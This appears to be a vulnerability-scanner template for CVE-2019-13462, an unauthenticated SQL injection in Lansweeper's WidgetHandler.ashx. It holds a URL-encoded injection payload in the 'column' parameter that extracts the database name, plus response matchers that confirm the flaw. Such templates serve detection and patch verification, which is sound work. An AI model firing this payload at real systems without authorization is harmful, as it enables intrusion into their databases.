id: CVE-2019-13462

info:
  name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
  author: divya_mudgal
  severity: critical
  reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
  description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameters to /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
  tags: cve,cve2019,sqli,lansweeper
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.10
    cve-id: CVE-2019-13462
    cwe-id: CWE-89

requests:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "~lansweeperdb~"
        part: body

      - type: word
        words:
          - text/plain
        part: header

      - type: status
        status:
          - 500